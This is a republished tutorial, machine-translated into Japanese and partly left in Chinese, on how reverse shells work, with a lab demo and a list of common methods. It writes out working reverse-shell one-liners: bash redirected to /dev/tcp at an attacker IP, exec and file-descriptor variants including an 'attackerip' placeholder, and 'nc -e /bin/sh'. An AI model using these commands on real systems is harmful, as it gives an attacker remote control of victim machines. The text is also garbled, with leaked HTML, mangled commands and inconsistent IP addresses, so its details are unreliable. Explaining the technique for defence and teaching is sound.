ホームページ  >  記事  >  運用・保守  >  リバウンドシェルってどういう意味ですか?

リバウンドシェルってどういう意味ですか?

王林
王林転載
2023-05-11 16:25:206647ブラウズ

* 厳粛な声明: この記事は技術的な議論と共有に限定されており、違法な方法で使用することは固く禁じられています。

0x00 序文

Bounceshell は、制御側が特定の TCP/UDP ポートをリッスンし、制御側が開始することを意味します。ポート port にリクエストを送信し、そのコマンドライン入出力を制御ポートに転送します。

わかりやすく言うと、リバウンドシェルは一種の逆リンクであり、順方向sshとは異なり、相手のコンピュータ上でコマンドを実行してこちらのコンピュータに接続します。 . 攻撃モードであり、この攻撃モードはリモート コマンド実行の脆弱性とともに使用する必要があります。

なぜリバウンド シェル ? これは通常、制御された側がファイアウォールによって制限されており、権限がなく、ポートが占有されている場合に使用されます。

マシンを攻撃し、そのマシンのポートを開くとします。攻撃者は自分のマシンでターゲット マシンに接続します。これはより一般的な形式であり、これを順方向接続と呼びます。リモート デスクトップ、web サービス、sshtelnet などはすべて順方向接続です。

それでは、どのような状況で順方向接続は使いにくいのでしょうか:

1. クライアントがネットワーク ホースにアクセスしましたが、それは LAN 内にあるため、直接接続します。

2. ip は動的に変化するため、継続的に制御することはできません。

3. ファイアウォールなどの制限により、他のマシンはリクエストの送信のみが可能ですが、リクエストの受信はできません。

4. ウイルスやトロイの木馬は、いつ感染するか、相手のネットワーク環境はどうなっているのか、いつ電源を入れたり切ったりするかが不明なため、悪意のある攻撃を許可するサーバーを構築してください。プログラムを積極的に接続するのが最善のポリシーです。

次に、リバウンドは簡単に理解できます。攻撃者がサーバーを指定し、被害者のホストが積極的に攻撃者のサーバー プログラム (リバウンドシェルと呼ばれます) に接続します。

0x01 リバウンド シェルのデモ

原理を理解するために bashリモート コード実行の脆弱性の例を使用します

攻撃終了: 10.100. 40.5 被害者machine: 192.168.197.136

まず、攻撃側のポートを監視し、このポートを使用して被害者のマシンによってバウンスされた shell
を受信する必要があります。攻撃側にコマンドnc -l 2333

リバウンドシェルってどういう意味ですか?

を入力し、コマンド

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

リバウンドシェルってどういう意味ですか?

#を実行します。 ## 被害者のマシン上で実行します。被害者の

シェル が攻撃側に正常に出現したことがわかりました。攻撃側の被害者側で次のステップを実行できます

リバウンドシェルってどういう意味ですか?

例:

リバウンドシェルってどういう意味ですか?

0x02 原則

2.1 リバウンド シェル コマンドの原則

(1 )

bash -i

##bash

linux の共通の shell であり、多くの ## のデフォルト#です#Linux ディストリビューション ##Shell-iこのパラメータは、対話型の shell
(2)./dev/tcp/ip/port# を生成することを意味します。

##/dev/tcp|udp/ip/port

このファイルは非常に特別で、実際、デバイスと見なすことができます (Linux の下にあるものはすべてファイルです)。実際、このファイルの場所にアクセスしても、以下に示すように、ファイルは存在しません。
(3) しかし、一方がリッスンしている間にこのファイルを読み取ると、ポートに、

socket

と記述することで、そのポートでリッスンしているサーバーとの通信が実現できますリバウンドシェルってどういう意味ですか?

ファイル

/dev/tcp# に文字を出力します##被害者側 :

攻撃側 :

リバウンドシェルってどういう意味ですか?

(4) 次に、出力の転送を検討します。攻撃側はポート

2333

をリッスンし続け、攻撃側で内容を入力して Enter キーを押すと、その内容が被害者側に表示されます。

リバウンドシェルってどういう意味ですか?

(5) このようにしてアイデアが明確になったので、インタラクティブなリダイレクトについて話しましょう。インタラクション、被害者のインタラクティブな リバウンドシェルってどういう意味ですか?shell

の出力を攻撃マシンにリダイレクトする必要があります;

リバウンドシェルってどういう意味ですか?被害者のマシンで次のように入力します:

bash -i > /dev/tcp 10.100.40.5/2333

その後、何が起こっても問題がないことがわかりました。コマンドを入力すると、エコーは発生せず、攻撃側の標準出力が攻撃側に向けられるようになり、エコーが表示されます。

リバウンドシェルってどういう意味ですか?

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="リバウンドシェルってどういう意味ですか?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="リバウンドシェルってどういう意味ですか?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

リバウンドシェルってどういう意味ですか?

攻击端:

リバウンドシェルってどういう意味ですか?

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

リバウンドシェルってどういう意味ですか?

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

リバウンドシェルってどういう意味ですか?

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

以上がリバウンドシェルってどういう意味ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。